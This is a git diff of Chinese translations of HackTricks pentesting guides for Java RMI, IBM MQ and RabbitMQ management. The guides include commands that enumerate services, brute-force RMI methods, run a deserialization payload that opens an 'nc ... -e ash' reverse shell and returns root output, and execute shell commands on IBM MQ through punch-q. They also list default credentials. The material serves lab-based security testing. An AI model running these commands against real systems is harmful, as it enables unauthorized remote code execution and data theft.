_nmap_ 有时候难以识别受 _SSL_ 保护的 _RMI_ 服务。如果你在一个常见的 _RMI_ 端口上遇到未知的 ssl 服务,你应该进一步调查。
|
||||
_nmap_有时会在识别受_SSL保护的_RMI_服务时出现问题。如果在常见_RMI_端口上遇到未知的ssl服务,应进一步调查。
|
||||
|
||||
## RMI 组件
|
||||
## RMI组件
|
||||
|
||||
简单来说,_Java RMI_ 允许开发者在网络上提供一个 _Java 对象_。这会打开一个 _TCP_ 端口,客户端可以连接并在相应对象上调用方法。尽管这听起来很简单,但 _Java RMI_ 需要解决几个挑战:
|
||||
简单来说,_Java RMI_允许开发人员在网络上提供一个_Java对象_。这会打开一个_TCP_端口,客户端可以连接并调用相应对象上的方法。尽管听起来很简单,但_Java RMI_需要解决几个挑战:
|
||||
|
||||
1. 为了通过 _Java RMI_ 发送方法调用,客户端需要知道目标对象的 IP 地址、监听端口、实现的类或接口以及 `ObjID`(`ObjID` 是在对象在网络上可用时创建的唯一且随机的标识符。它是必需的,因为 _Java RMI_ 允许多个对象在同一个 _TCP_ 端口上监听)。
|
||||
2. 远程客户端可能会通过调用暴露对象上的方法在服务器上分配资源。_Java 虚拟机_ 需要跟踪哪些资源仍在使用中,哪些可以被垃圾回收。
|
||||
1. 通过_Java RMI_分派方法调用,客户端需要知道目标对象的IP地址、监听端口、实现的类或接口以及`ObjID`(`ObjID`是在对象在网络上可用时创建的唯一随机标识符。它是必需的,因为_Java RMI_允许多个对象在同一_TCP_端口上监听)。
|
||||
2. 远程客户端可能通过调用暴露对象上的方法在服务器上分配资源。_Java虚拟机_需要跟踪这些资源中哪些仍在使用,哪些可以进行垃圾回收。
|
||||
|
||||
第一个挑战由 _RMI 注册表_ 解决,它基本上是 _Java RMI_ 的命名服务。_RMI 注册表_ 本身也是一个 _RMI 服务_,但实现的接口和 `ObjID` 是固定的并且所有 _RMI_ 客户端都知道。这允许 _RMI_ 客户端仅通过知道相应的 _TCP_ 端口就可以使用 _RMI 注册表_。
|
||||
第一个挑战由_RMI注册表_解决,它基本上是_Java RMI_的命名服务。_RMI注册表_本身也是一个_RMI服务_,但实现的接口和`ObjID`是固定的,并且所有_RMI_客户端都知道。这使_RMI_客户端可以通过知道相应的_TCP_端口来消费_RMI_注册表。
|
||||
|
||||
当开发者想要在网络中提供他们的 _Java 对象_ 时,他们通常会将它们绑定到一个 _RMI 注册表_。_注册表_ 存储连接到对象所需的所有信息(IP 地址、监听端口、实现的类或接口以及 `ObjID` 值),并在一个人类可读的名称(_绑定名称_)下提供它。想要使用 _RMI 服务_ 的客户端会向 _RMI 注册表_ 请求相应的 _绑定名称_,注册表返回连接所需的所有信息。因此,情况基本上与普通的 _DNS_ 服务相同。以下列表显示了一个小例子:
|
||||
当开发人员希望将他们的_Java对象_在网络中可用时,他们通常将它们绑定到_RMI注册表_。_注册表_存储了连接到对象所需的所有信息(IP地址、监听端口、实现的类或接口和`ObjID`值),并将其提供给人类可读的名称(_绑定名称_)。想要消费_RMI服务_的客户端向_RMI注册表_请求相应的_绑定名称_,注册表返回所有连接所需的信息。因此,情况基本上与普通_DNS_服务相同。以下清单显示了一个小例子:
|
||||
```java
|
||||
import java.rmi.registry.Registry;
|
||||
import java.rmi.registry.LocateRegistry;
|
||||
|
@ -71,9 +71,19 @@ e.printStackTrace();
|
|||
}
|
||||
}
|
||||
```
|
||||
## RMI 枚举
|
||||
上述挑战的第二个问题是通过**分布式垃圾收集器**(Distributed Garbage Collector,DGC)解决的。这是另一个具有众所周知的`ObjID`值的**RMI服务**,基本上每个**RMI端点**上都可以找到它。当**RMI客户端**开始使用**RMI服务**时,它会向**DGC**发送一个信息,说明相应的**远程对象**正在使用中。**DGC**然后可以跟踪引用计数,并能够清理未使用的对象。
|
||||
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) 是一个 _Java RMI_ 漏洞扫描器,能够自动识别常见的 _RMI 漏洞_。每当你发现一个 _RMI_ 端点时,你应该尝试一下:
|
||||
连同已弃用的**激活系统**一起,这些是**Java RMI**的三个默认组件:
|
||||
|
||||
1. **RMI注册表**(`ObjID = 0`)
|
||||
2. **激活系统**(`ObjID = 1`)
|
||||
3. **分布式垃圾收集器**(`ObjID = 2`)
|
||||
|
||||
**Java RMI**的默认组件长期以来一直是已知的攻击向量,并且在过时的**Java**版本中存在多个漏洞。从攻击者的角度来看,这些默认组件很有趣,因为它们实现了已知的类/接口,很容易与它们进行交互。对于自定义**RMI服务**,情况则不同。要调用**远程对象**上的方法,您需要事先知道相应的方法签名。如果不知道现有方法签名,则无法与**RMI服务**进行通信。
|
||||
|
||||
## RMI枚举
|
||||
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)是一个**Java RMI**漏洞扫描程序,能够自动识别常见的**RMI漏洞**。每当您识别到一个**RMI**端点时,都应该尝试使用它:
|
||||
```
|
||||
$ rmg enum 172.17.0.2 9010
|
||||
[+] RMI registry bound names:
|
||||
|
@ -135,7 +145,7 @@ $ rmg enum 172.17.0.2 9010
|
|||
```
|
||||
枚举操作的输出在项目的[文档页面](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action)中有更详细的解释。根据结果,您应该尝试验证已识别的漏洞。
|
||||
|
||||
_remote-method-guesser_ 显示的 `ObjID` 值可用于确定服务的运行时间。这可能有助于识别其他漏洞:
|
||||
_remote-method-guesser_显示的`ObjID`值可用于确定服务的正常运行时间。这可能有助于识别其他漏洞:
|
||||
```
|
||||
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
|
||||
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
|
||||
|
@ -146,11 +156,11 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
|
|||
[+] Time: 1640761503828 (Dec 29,2021 08:05)
|
||||
[+] Count: -32760
|
||||
```
|
||||
## 穷举远程方法
|
||||
## 强制破解远程方法
|
||||
|
||||
即使在枚举过程中没有识别出漏洞,可用的 _RMI_ 服务仍可能暴露危险功能。此外,尽管与 _RMI_ 默认组件的通信受到反序列化过滤器的保护,但与自定义 _RMI_ 服务的通信通常没有这些过滤器。因此,了解 _RMI_ 服务上有效的方法签名是有价值的。
|
||||
即使在枚举过程中未发现漏洞,可用的 _RMI_ 服务仍可能暴露危险函数。此外,尽管 _RMI_ 通信到 _RMI_ 默认组件受到反序列化过滤器的保护,但与自定义 _RMI_ 服务通信时,通常不会设置此类过滤器。因此,了解 _RMI_ 服务上的有效方法签名非常有价值。
|
||||
|
||||
不幸的是,_Java RMI_ 不支持在 _远程对象_ 上枚举方法。话虽如此,使用像 [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) 或 [rmiscout](https://github.com/BishopFox/rmiscout) 这样的工具可以穷举方法签名:
|
||||
不幸的是,_Java RMI_ 不支持枚举 _远程对象_ 上的方法。尽管如此,可以使用诸如 [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) 或 [rmiscout](https://github.com/BishopFox/rmiscout) 等工具来强制破解方法签名:
|
||||
```
|
||||
$ rmg guess 172.17.0.2 9010
|
||||
[+] Reading method candidates from internal wordlist rmg.txt
|
||||
|
@ -180,12 +190,12 @@ $ rmg guess 172.17.0.2 9010
|
|||
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
|
||||
[+] --> String login(java.util.HashMap dummy1)
|
||||
```
|
||||
识别的方法可以这样调用:
|
||||
已识别的方法可以这样调用:
|
||||
```
|
||||
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
|
||||
[+] uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
或者您可以像这样执行反序列化攻击:
|
||||
或者您可以执行类似这样的反序列化攻击:
|
||||
```
|
||||
$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
|
||||
[+] Creating ysoserial payload... done.
|
||||
|
@ -208,18 +218,18 @@ Ncat: Connection from 172.17.0.2:45479.
|
|||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
以下文章中可以找到更多信息:
|
||||
更多信息可以在以下文章中找到:
|
||||
|
||||
* [在JEP 290之后攻击Java RMI服务](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)
|
||||
* [方法猜测](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md)
|
||||
* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
||||
* [rmiscout](https://bishopfox.com/blog/rmiscout)
|
||||
|
||||
除了猜测之外,你还应该在搜索引擎或_GitHub_中查找遇到的_RMI_服务的接口甚至实现。这里的_绑定名称_和实现的类或接口的名称可能会有帮助。
|
||||
除了猜测之外,您还应该在搜索引擎或GitHub中查找遇到的RMI服务的接口或甚至实现。在这里,绑定名称和实现的类或接口的名称可能会有所帮助。
|
||||
|
||||
## 已知接口
|
||||
|
||||
如果类或接口在工具内部数据库中列出为已知的_RMI服务_,[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)会将其标记为`known`。在这些情况下,你可以使用`known`操作来获取更多关于相应_RMI服务_的信息:
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) 如果在工具的已知RMI服务的内部数据库中列出了类或接口,则将其标记为`known`。在这些情况下,您可以使用`known`操作来获取有关相应RMI服务的更多信息:
|
||||
```
|
||||
$ rmg enum 172.17.0.2 1090 | head -n 5
|
||||
[+] RMI registry bound names:
|
||||
|
@ -288,6 +298,9 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
|
|||
* [rmiscout](https://github.com/BishopFox/rmiscout)
|
||||
* [BaRMIe](https://github.com/NickstaDB/BaRMIe)
|
||||
|
||||
## 参考资料
|
||||
* [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
||||
|
||||
## HackTricks 自动命令
|
||||
```
|
||||
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
|
||||
|
@ -302,21 +315,21 @@ Command: rmg enum {IP} {PORT}
|
|||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 来轻松构建并**自动化工作流程**,这些工作流程由世界上**最先进的**社区工具提供支持。\
|
||||
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 可轻松构建和**自动化**由全球**最先进**的社区工具驱动的工作流程。\
|
||||
立即获取访问权限:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,14 +2,13 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)。
|
||||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)。
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)。
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) **Discord群组**](https://discord.gg/hRep4RUj7f) 或**电报群组**或在**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我。
|
||||
|
||||
* 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) **Discord群**](https://discord.gg/hRep4RUj7f) **或**[**电报群**](https://t.me/peass) **或在Twitter上关注**我🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -17,9 +16,9 @@
|
|||
|
||||
IBM MQ是IBM的一项技术,用于管理消息队列。与其他**消息代理**技术一样,它专门用于在生产者和消费者之间接收、存储、处理和分类信息。
|
||||
|
||||
默认情况下,**它公开IBM MQ TCP端口1414**。
|
||||
有时,HTTP REST API可以在端口**9443**上公开。
|
||||
还可以通过TCP端口**9157**访问指标(Prometheus)。
|
||||
默认情况下,**它会暴露IBM MQ TCP端口1414**。
|
||||
有时,HTTP REST API也可以在端口**9443**上暴露。
|
||||
指标(Prometheus)也可以通过TCP端口**9157**访问。
|
||||
|
||||
IBM MQ TCP端口1414可用于操纵消息、队列、通道等,**也可用于控制实例**。
|
||||
|
||||
|
@ -27,9 +26,9 @@ IBM提供了大量的技术文档,可在[https://www.ibm.com/docs/en/ibm-mq](h
|
|||
|
||||
## 工具
|
||||
|
||||
建议用于简化利用的工具是**[punch-q](https://github.com/sensepost/punch-q)**,使用Docker。该工具积极使用Python库`pymqi`。
|
||||
一个建议的用于简单利用的工具是**[punch-q](https://github.com/sensepost/punch-q)**,使用Docker。该工具积极使用Python库`pymqi`。
|
||||
|
||||
对于更手动的方法,请使用Python库**[pymqi](https://github.com/dsuch/pymqi)**。需要[IBM MQ依赖项](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA)。
|
||||
对于更手动的方法,使用Python库**[pymqi](https://github.com/dsuch/pymqi)**。需要[IBM MQ依赖项](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA)。
|
||||
|
||||
### 安装pymqi
|
||||
|
||||
|
@ -57,9 +56,9 @@ sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.
|
|||
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
|
||||
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
|
||||
```
|
||||
6. 然后,在运行其他使用这些依赖项的工具之前,临时将`.so`文件添加到LD: `export LD_LIBRARY_PATH=/opt/mqm/lib64`。
|
||||
6. 然后,临时将`.so`文件添加到LD中:`export LD_LIBRARY_PATH=/opt/mqm/lib64`,**在**运行其他使用这些依赖项的工具之前。
|
||||
|
||||
然后,您可以克隆项目[pymqi](https://github.com/dsuch/pymqi):其中包含有趣的代码片段、常量,... 或者您可以直接安装该库:`pip install pymqi`。
|
||||
然后,您可以克隆项目[pymqi](https://github.com/dsuch/pymqi):它包含有趣的代码片段、常量,... 或者您可以直接安装该库:`pip install pymqi`。
|
||||
|
||||
### 使用punch-q
|
||||
|
||||
|
@ -67,7 +66,7 @@ sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_
|
|||
|
||||
只需运行:`sudo docker run --rm -ti leonjza/punch-q`。
|
||||
|
||||
#### 没有Docker
|
||||
#### 不使用Docker
|
||||
|
||||
克隆项目[punch-q](https://github.com/sensepost/punch-q),然后按照自述文件进行安装(`pip install -r requirements.txt && python3 setup.py install`)。
|
||||
|
||||
|
@ -86,7 +85,7 @@ Queue Manager name: MYQUEUEMGR
|
|||
```
|
||||
### 通道
|
||||
|
||||
**punch-q** 使用内部(可修改的)单词列表来查找现有的通道。使用示例:
|
||||
**punch-q** 使用内部(可修改的)单词列表来查找现有通道。使用示例:
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
|
||||
"DEV.ADMIN.SVRCONN" exists and was authorised.
|
||||
|
@ -97,7 +96,7 @@ Queue Manager name: MYQUEUEMGR
|
|||
|
||||
一旦我们获得一个通道名称(这里是:`DEV.ADMIN.SVRCONN`),我们就可以枚举所有其他通道。
|
||||
|
||||
基本上可以使用 **pymqi** 中的这段代码片段 `code/examples/dis_channels.py` 来执行枚举:
|
||||
基本上可以使用 **pymqi** 中的这段代码片段 `code/examples/dis_channels.py` 来进行枚举:
|
||||
```python
|
||||
import logging
|
||||
import pymqi
|
||||
|
@ -134,7 +133,7 @@ logging.info('Found channel `%s`' % channel_name)
|
|||
qmgr.disconnect()
|
||||
|
||||
```
|
||||
...但 **punch-q** 也嵌入了那部分(附加更多信息!)。
|
||||
...但**punch-q**也嵌入了该部分(附带更多信息!)。
|
||||
可以使用以下方式启动:
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
|
||||
|
@ -180,11 +179,11 @@ Showing queues with prefix: "*"...
|
|||
| 9 | | | | | | | |
|
||||
# Truncated
|
||||
```
|
||||
## 攻击
|
||||
## 漏洞利用
|
||||
|
||||
### 转储消息
|
||||
|
||||
您可以针对队列/通道进行定位,以便嗅探/转储这些消息(非破坏性操作)。*示例:*
|
||||
您可以针对队列/通道进行定位,以便从中嗅探/转储消息(非破坏性操作)。*示例:*
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
|
||||
```
|
||||
|
@ -211,11 +210,11 @@ Showing queues with prefix: "*"...
|
|||
|
||||
使用**punch-q**可以通过PCF进行远程程序执行的服务创建/删除:
|
||||
|
||||
**示例 1**
|
||||
**示例1**
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
|
||||
```
|
||||
> 在 IBM MQ 的日志中,您可以读到命令已成功执行:
|
||||
> 在 IBM MQ 的日志中,您可以看到命令已成功执行:
|
||||
>
|
||||
> ```bash
|
||||
> 2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
|
||||
|
@ -245,7 +244,7 @@ Done
|
|||
- 一个使用bash
|
||||
- 一个使用perl
|
||||
|
||||
*当然,您也可以使用 `execute` 命令构建自定义有效载荷。*
|
||||
*当然,您也可以使用 `execute` 命令构建自定义的有效载荷。*
|
||||
|
||||
对于bash:
|
||||
```bash
|
||||
|
@ -289,7 +288,7 @@ qmgr.disconnect()
|
|||
```
|
||||
如果找不到常量名称,可以参考[IBM MQ文档](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors)。
|
||||
|
||||
> *以[`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster)(十进制 = 73)为例。它需要参数`MQCA_CLUSTER_NAME`(十进制 = 2029),可以是`*`(文档:):*
|
||||
> *例如[`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster)(十进制 = 73)的示例。它需要参数`MQCA_CLUSTER_NAME`(十进制 = 2029),可以是`*`(文档:):*
|
||||
>
|
||||
> ```python
|
||||
> import pymqi
|
||||
|
@ -321,7 +320,7 @@ qmgr.disconnect()
|
|||
如果要测试IBM MQ的行为和漏洞,可以基于Docker设置本地环境:
|
||||
|
||||
1. 在ibm.com和cloud.ibm.com上拥有账户。
|
||||
2. 创建一个容器化的IBM MQ:
|
||||
2. 使用以下步骤创建一个容器化的IBM MQ:
|
||||
```bash
|
||||
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
|
||||
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
|
||||
|
@ -329,7 +328,7 @@ sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:
|
|||
默认情况下,身份验证已启用,用户名为 `admin`,密码为 `passw0rd`(环境变量 `MQ_ADMIN_PASSWORD`)。
|
||||
在这里,队列管理器名称已设置为 `MYQUEUEMGR`(变量 `MQ_QMGR_NAME`)。
|
||||
|
||||
您应该已经启动并运行了IBM MQ,并暴露了其端口:
|
||||
您应该已经启动并运行IBM MQ,并暴露了其端口:
|
||||
```bash
|
||||
❯ sudo docker ps
|
||||
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
|
||||
|
|
|
@ -1,49 +1,49 @@
|
|||
# 15672 - 对 RabbitMQ 管理的渗透测试
|
||||
# 15672 - RabbitMQ管理渗透测试
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习 AWS 黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果您对**黑客职业**感兴趣,并且想要黑入不可黑入的系统 - **我们正在招聘!**(_需要流利的波兰语书写和口语_)。
|
||||
如果您对**黑客职业**感兴趣并想要攻破不可攻破的系统 - **我们正在招聘!**(需要流利的波兰语书面和口头表达能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
您可以在 [**5671,5672 - 对 AMQP 的渗透测试**](5671-5672-pentesting-amqp.md) 中了解更多关于 RabbitMQ 的信息。\
|
||||
在这个端口,如果启用了[管理插件](https://www.rabbitmq.com/management.html),您可能会找到 RabbitMQ 管理网页控制台。\
|
||||
主页面应该看起来像这样:
|
||||
您可以在[**5671,5672 - Pentesting AMQP**](5671-5672-pentesting-amqp.md)中了解更多关于RabbitMQ的信息。\
|
||||
在此端口上,如果启用了[管理插件](https://www.rabbitmq.com/management.html),您可能会找到RabbitMQ管理Web控制台。\
|
||||
主页应该如下所示:
|
||||
|
||||
![](<../.gitbook/assets/image (270).png>)
|
||||
|
||||
## 枚举
|
||||
|
||||
默认凭据是 "_**guest**_":"_**guest**_"。如果它们不起作用,您可以尝试[**暴力破解登录**](../generic-methodologies-and-resources/brute-force.md#http-post-form)。
|
||||
默认凭据为"_**guest**_":"_**guest**_"。如果不起作用,您可以尝试[**暴力破解登录**](../generic-methodologies-and-resources/brute-force.md#http-post-form)。
|
||||
|
||||
要手动启动此模块,您需要执行:
|
||||
```
|
||||
rabbitmq-plugins enable rabbitmq_management
|
||||
service rabbitmq-server restart
|
||||
```
|
||||
一旦您正确认证后,您将看到管理员控制台:
|
||||
一旦您正确进行了身份验证,您将看到管理控制台:
|
||||
|
||||
![](<../.gitbook/assets/image (271) (1).png>)
|
||||
|
||||
此外,如果您有有效的凭据,您可能会发现 `http://localhost:15672/api/connections` 的信息很有趣。
|
||||
另外,如果您有有效凭据,您可能会发现`http://localhost:15672/api/connections`的信息很有趣。
|
||||
|
||||
还请注意,使用此服务的API,可以通过类似以下的请求**发布数据到队列中**:
|
||||
还要注意,可以使用类似以下请求的服务API**将数据发布到队列中**:
|
||||
```bash
|
||||
POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
|
||||
Host: 172.32.56.72:15672
|
||||
|
@ -58,22 +58,22 @@ Content-Length: 267
|
|||
|
||||
* `port:15672 http`
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果您对**黑客职业**感兴趣,并且想要黑掉那些不可黑的目标 - **我们正在招聘!**(_需要流利的波兰语书写和口语_)。
|
||||
